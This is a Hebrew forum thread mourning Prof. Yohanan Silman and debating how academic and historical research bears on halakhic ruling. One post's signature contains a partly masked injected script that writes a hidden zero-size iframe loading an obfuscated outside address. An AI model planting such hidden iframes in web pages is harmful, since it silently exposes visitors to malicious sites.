| נשלח ב-20/2/2012 11:36 |
 |
| |
פרופסור (הרב) יוחנן סילמן ע"ה
לפני שבוע עלה לישיבה של מעלה פרופסור יוחנן סילמן.
למד בעולם הישיבות, עשה את דרכו אל האוניברסיטה, שם למד ולימד פילוסופיה.
היה פרופסור לפילוסופיה באוניברסיטת בר אילן במשך עשרות שנים.
חיבר כמה מאמרים וספרים. התמחה בר' יהודה הלוי, עליו כתב מאמרים וספר. אך עיקר תרומתו לדעתי בתחום הפילוסופיה של ההלכה, שבה היה מאלו שיצרו את המחקר הראשוני וקבעו הגדרות יסוד.
ספרו "קול גדול ולא יסף" משלב את ידיעותיו התורניות הרחבות עם חשיבתו השיטתית כדי להגדיר דגמים יסודיים אודות כמה שאלות חשובות: האם התורה ניתנה כולה למשה בסיני או שהיא מתגלה, או מתפתחת, במשך הדורות?
אבחנה נוספת, שלמעשה כמובן היתה קיימת הרבה לפניו, אך חודשה וזכתה לפירסום על ידו, היא בין התפיסה ההסכמית לבין התפיסה המהותנית של איסורי התורה. האם מה שאסור הוא ענין של הגדרה בלבד, כשיטת הרמב"ם, או דבר קיים בפני עצמו, כמו שכמובן יחשבו המקובלים.
עם פטירתו, הלך לעולמו מראשוני דור דעה החדש, אלו שמנסים מחדש לשלב תורה ומחקר, מתוך יראת שמים.
***
המעניין ביותר נותר לא ידוע. מבחינה אקסיטנציאלית, כיצד מתמודד אדם חכם ובעל יושר אינטלקטואלי עם השאלות העומדות בפני מי שמכיר את הפילוסופיה ואת המחקר ההיסטורי? כיצד שומרים על נאמנות להלכה כאשר ערים לכך שאפשר לראותה כהתפתחות ואפילו לא תמיד כ"שיכלול"?
יתכן שהבעיה שלנו, חרדים ודתיים נאמנים ליראת שמים, אך במקביל פתוחים לעולם ולמדע, שאנו בודדים מטבענו. שאין לנו קהילה. שקשה לנו להשתלב במקום אחד מפני שאין מקום שבו יכולים להיקבץ יחד אלו שהם תלמידי חכמים, יראי ה' ופילוסופים. אולי רק מקום וירטואלי. כמו פה.
וכאן, בבית הוירטואלי שלנו, ראוי להזכיר לטובה את אחד מאלו שניסה לשלב בין תורה למחקר, ועלה בידו.
***
מן הראוי להזכיר ולסכם את עיקרי משנתו. ומי שיכול מוזמן...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-20/2/2012 12:15 |
|
| |
| מיימוני כתב: |  | | המעניין ביותר נותר לא ידוע. מבחינה אקסיטנציאלית, כיצד מתמודד אדם חכם ובעל יושר אינטלקטואלי עם השאלות העומדות בפני מי שמכיר את הפילוסופיה ואת המחקר ההיסטורי? כיצד שומרים על נאמנות להלכה כאשר ערים לכך שאפשר לראותה כהתפתחות ואפילו לא תמיד כ"שיכלול"? |
|
בהספד שנשא הרב שלזינגר בעת ההלוויה הוא ציטט את פרופ' סילמן שאמר לו "לך קשה, לי קל. אני צריך רק לסדר ולהציג את השיטות השונות. אתה, בתור רב, צריך גם להחליט". נדמה לי שיש בכך רמז לאופן ההתמודדות. החוקר יכול לנתק את עצמו ממושא המחקר. כאשר אדם רואה את עצמו כאחראי רק לסידור המערכת ולהעמדת האפשרויות השונות זו לעומת זו, הוא לא חייב לבחור וממילא לא חייב לקשר את העמדות הללו לחייו או השקפתו. מובן שלא ניתן לבצע ניתוק כזה באופן מוחלט, וקיימות רמות של ידע שמרגע שהאדם נחשף אליהן הוא לא יכול יותר להתעלם מהן, אבל בתור גישה עקרונית נראה לי שיש כאן כיוון מסויים המקל על ההתמודדות.
|
|
|
|
| נשלח ב-20/2/2012 12:38 |
|
| |
עציוני
כתבת דבר מעניין מאד. המעבר לאקדמיה וללימוד אקדמי יכול להיתפס כבריחה!
מצד שני, מסופקני אם רוב הרבנים אכן ערים לקושי שסילמן היה ער לו... ואם הם מודעים לכך, הם מנסים בדיוק כפי שתיאר להכיר את כל השיטות ולצאת ידי חובת כולן, כמקובל בזמננו.
אך עלי להודות שגם מי שמודע לכך שההלכה עשויה להכיל הנחות יסוד שאינן נכונות או אינן מתוכה, עדיין עשוי לסבור שצריך לשמור על נאמנות למקובל ולהיסטורי רק מתוך השיקול שלא לזעזע את המערכת. כלומר, שיקול מטא הלכתי.
צריך אם כן להכיר את ההקשר הכללי שבו נאמרו הדברים. מעוררי מחשבה, אכן כן. ממצים את הנושא ומגדירים חלוקה, כמדומה שלא.
והייתי מנסח בחדות: בדרך כלל תוהים: האם רב יכול להיות חוקר אקדמי (או בסגנון אקדמי)? יתכן שהשאלה היא: האם רב יכול שלא להיות כזה?
(כמובן, בדורות האחרונים היו מועטים מאד כאלו. בעל השרידי אש, הגרי"ד סולוביצ'יק, והגרי"ד דווקא התבלט בשמירה על המערכת כולל המנהגים, אם כי זה מובן גם על פי הרקע המשפחתי שבחר להיות נאמן לו וגם על פי הצורך החברתי של אמריקה דאז).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-20/2/2012 12:43 |
|
| |
הכרתי את המנוח ע"ה שהיה ידיד של אבי ע"ה, יהי זכרו ברוך.
עציוני,
כיצד תתרץ אנשים החובשים את שני הכובעים? ואני מכיר כמה כאלו.
לשם פתירת הדיכוטומיה, שמעתי מחובש שני כובעים טיעון, שהלכה המחייבת אותנו היא ההלכה שמקובלת בזמן נתון ע"י שומרי התורה. אין משמעות הלכתית להיסטוריה ולהתפתחות אלא רק דרוש וקבל שכר.
קיימת כאן תופעה מענינת, ת"ח נחשב ת"ח רציני כאשר על סמך ידיעותיו הוא יכול לפסוק לעצמו ואינו חייב להסתמך על ספרי ליקוטים וחכמים אחרים. לעומת זה, מאקדמאים המצויים בתחומים האלו אנו מצפים שהם לא יישמו את הידע שלהם הלכה למעשה.
מיימוני
לא ראיתי את הודעתך השניה כשכתבתי את שלי.
תוקן על ידי בעלבעמיו ב- 20/02/2012 12:44:19
|
|
|
|
| נשלח ב-20/2/2012 12:59 |
|
| |
אני מצטרף להבעת הצער והאובדן, בתחילת דרכי המחשבתית לראות דברים נכוחה, נפגשתי בספריו שמאוד חזקוני ונתנו לי את התקווה לשלב את החשיבה והחתירה לאמת עם נאמנות למסורת.
יהי זכרו ברוך.
|
|
|
|
| נשלח ב-20/2/2012 13:04 |
|
| |
בעב
דבריך יוצאים מהנחה שהלכה צריכה להיות "נכונה" ושיש הלכה כזו
|
|
|
|
|
| נשלח ב-20/2/2012 13:35 |
|
| |
מיימוני,
רק למען הדיוק: הרב סולובייצ'יק לא השתמש ואף התנגד למחקר האקדמי בלימוד התלמוד.
|
|
|
|
| נשלח ב-20/2/2012 13:49 |
|
| |
ת"ט
לאו דווקא, אבל מדוע מי שייקח נערווען מסויימים בשיקולי פסיקתו ייחשב כפוסק מקובל, משא"כ מי שייקח את התפתחות ההלכה?
|
|
|
|
| נשלח ב-20/2/2012 13:59 |
|
| |
| בעלבעמיו כתב: | | ת"ט
לאו דווקא, אבל מדוע מי שייקח נערווען מסויימים בשיקולי פסיקתו ייחשב כפוסק מקובל, משא"כ מי שייקח את התפתחות ההלכה? |
|
משום שיש הבדל בין שיקולים פנים-הלכתיים לשיקולים חוץ הלכתיים.
החשש מפני השפעת המחקר על פסיקת ההלכה מקביל לסירובם (מוצדק או לא - לא משנה כרגע) של הרופאים לשתף רבנים בקביעת רגע המוות. מרגע שאתה מכניס למערכת אנשים ששוקלים שיקולים שאים נובעים מתוך המקצוע, אתה פוגע במקצועיות ופותח את הדלת למדרון מסוכן.
[אני לא בא כרגע להזדהות עם עמדה זו או להתנדג לה, רק להסביר את ההבדל בין סוגי השיקולים.]
|
|
|
|
| נשלח ב-20/2/2012 14:10 |
|
| |
עציוני
הא גופא - מהם שיקולים פנימיים ומהם שיקולים חיצוניים.
כדוגמא - מדוע אם מדאורייתא אסור רק לאכול בשר בחלב דרך בישול ויש לנו אוסף של חומרות וגדרים זה נחשב שיקול םנימי, מדוע לחבול בגד אלמנה עשירה לר' שמעון נחשב כשיקול פנימי, או שלא לעשות עיר הנדחת בספר תחשב שיקול פנימי, אולם לטעון - ורק לטעון - שבזמן בית שני לא תקעו בשופר במדינה, ייחשב כפירה.
|
|
|
|
| נשלח ב-20/2/2012 14:58 |
|
| |
ממעמקים
טעיתי ותודה על התיקון. הרב סולוביצ'יק אכן הסתייג ממחקר אקדמי, אם כי לא תמיד קל להבדיל מהו תורני ומהו אקדמי. הוא כמובן השתמש הרבה מאד בידע פילוסופי.
באחד מספריו מתאר חיים פוטוק, שלמד בYU, את חוית הלימוד אצל הרב סולוביצ'יק ואת הסתייגותו מביקורת הטקסט, וכיצד הצליח לכפות על הרב לשמוע "חבורה" בצורה כזו. איני יודע אם זה היה תיאור של מעשה שהיה או מה שרצה שיהיה.
***
בעל בעמיו
זו אכן השאלה הגדולה. מה הם שיקולים תורניים, או "פנימיים", ומה הם כבר שיקולים חיצוניים.
האם שיוך שיקולים לכאן או לכאן יכול להשתנות?
אב לאחד השינויים הגדולים בתולדות ההלכה, שכבר צויין בעבר בפורום
(וכמדומה שגם פרופסור רוזנברג יבדלח"א כתב עליו)
הוא תקנת רב נחמן להשביע את הכופר בכל
(=תביעה ממונית שבה התובע מבקש את כספו, נניח בשל הלוואה, והנתבע מכחיש שהיתה הלוואה כזו, ואין עדים או שטר ולא כלום. מדין תורה אין נשבעין אלא על הודאה במקצת וכאן הוסיף רבה לחייב גם על תביעה מוכחשת לגמרי, מטעמים פסיכולוגיים ועל סמך שינוי תרבותי. העולם השתנה, האדם השתנה, והוא מסוגל יותר לשקר, בניגוד לתיאור הפסיכולוגי העולה מדין תורה).
האם רב נחמן השתמש בשיקולים חיצוניים? או שהוא אימץ שיקולים והכניסם לבית המדרש?
ואולי זה תלוי איפה אדם יושב?
והאם זה תלוי במיקום גיאוגרפי? אולי כן.
דומה שעיקר ההבדל הוא האדם שעוסק בתחום. האם הוא "משלנו" והאם מטרותיו "משלנו". ושוב, כפי שציינתי בעבר, בתחילת חגיגה יש לנו רשימה של תנאי מינימום שרק העומד בהם יכול להחשב ללומד תורה ומכריע בספקותיה. והם קבלת האמונה שהתורה היא למשה מסיני מידי ה'. (וכמובן שהיא תורה, כלומר מחייבת וקובעת התנהגות).
_נוספה הערה חשובה ותוקן שם אמורא________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 20/02/2012 15:02:19
|
|
|
|
|
| נשלח ב-20/2/2012 15:05 |
|
| |
מיימוני
ומה האמונה שהתורה היא למשה מסיני מידי ה'?
הרי היו כאן שנשאו את דגל שמים בתורה, היו שדברו על התפתחות ההלכה, היו שדברו על קבלת הרבים,
אז מהי האמונה הנדרשת?
|
|
|
|
| נשלח ב-20/2/2012 15:24 |
|
| |
בעל בעמיו
לדעתי אתה שואל? או למה שעולה מן הסוגיה?
גם לא ברור לי מה הם "שמים בתורה". אפשר להבין זאת בשני אופנים שונים, שאחד ישאיר את הדוגל בו בבית המדרש והשני יוציא אותו החוצה, מטאפורית. האם התורה היא פרוייקט חינוכי של האלוקים או שהיא רק ראויה לשמש ככזה.
לפי האופן שהצגתי את תפיסת הרמב"ם אליבא דלוינגר (באשכול על לוינגר, אפשר לחפש לפי הכותרת), נראה שהרמב"ם כבר לא היה "בפנים". מצד שני, אם הפוסק מקבל על עצמו לפסוק לפי העקרונות התיאולוגיים והמסורתיים, יתכן שזה אמור להספיק. שאם לא כן, מה נעשה עם הרמב"ם? (לפי תפיסת לוינגר לפחות)?
|
|
|
|
| נשלח ב-20/2/2012 15:40 |
|
| |
בעב- "לאו דווקא, אבל מדוע מי שייקח נערווען מסויימים בשיקולי פסיקתו ייחשב כפוסק מקובל, משא"כ מי שייקח את התפתחות ההלכה?" מאותה סיבה שמי שלומד כצדוקים אינו מקובל. לא ידוע לי שהתנהל ויכוח מסודר וכנה בין הפרושים לצדוקים שבא מנכונות לקבל כל הכרעה.
|
|
|
|
| נשלח ב-20/2/2012 21:18 |
|
| |
מדוע באמת אתה פרושי?
|
|
|
|
|
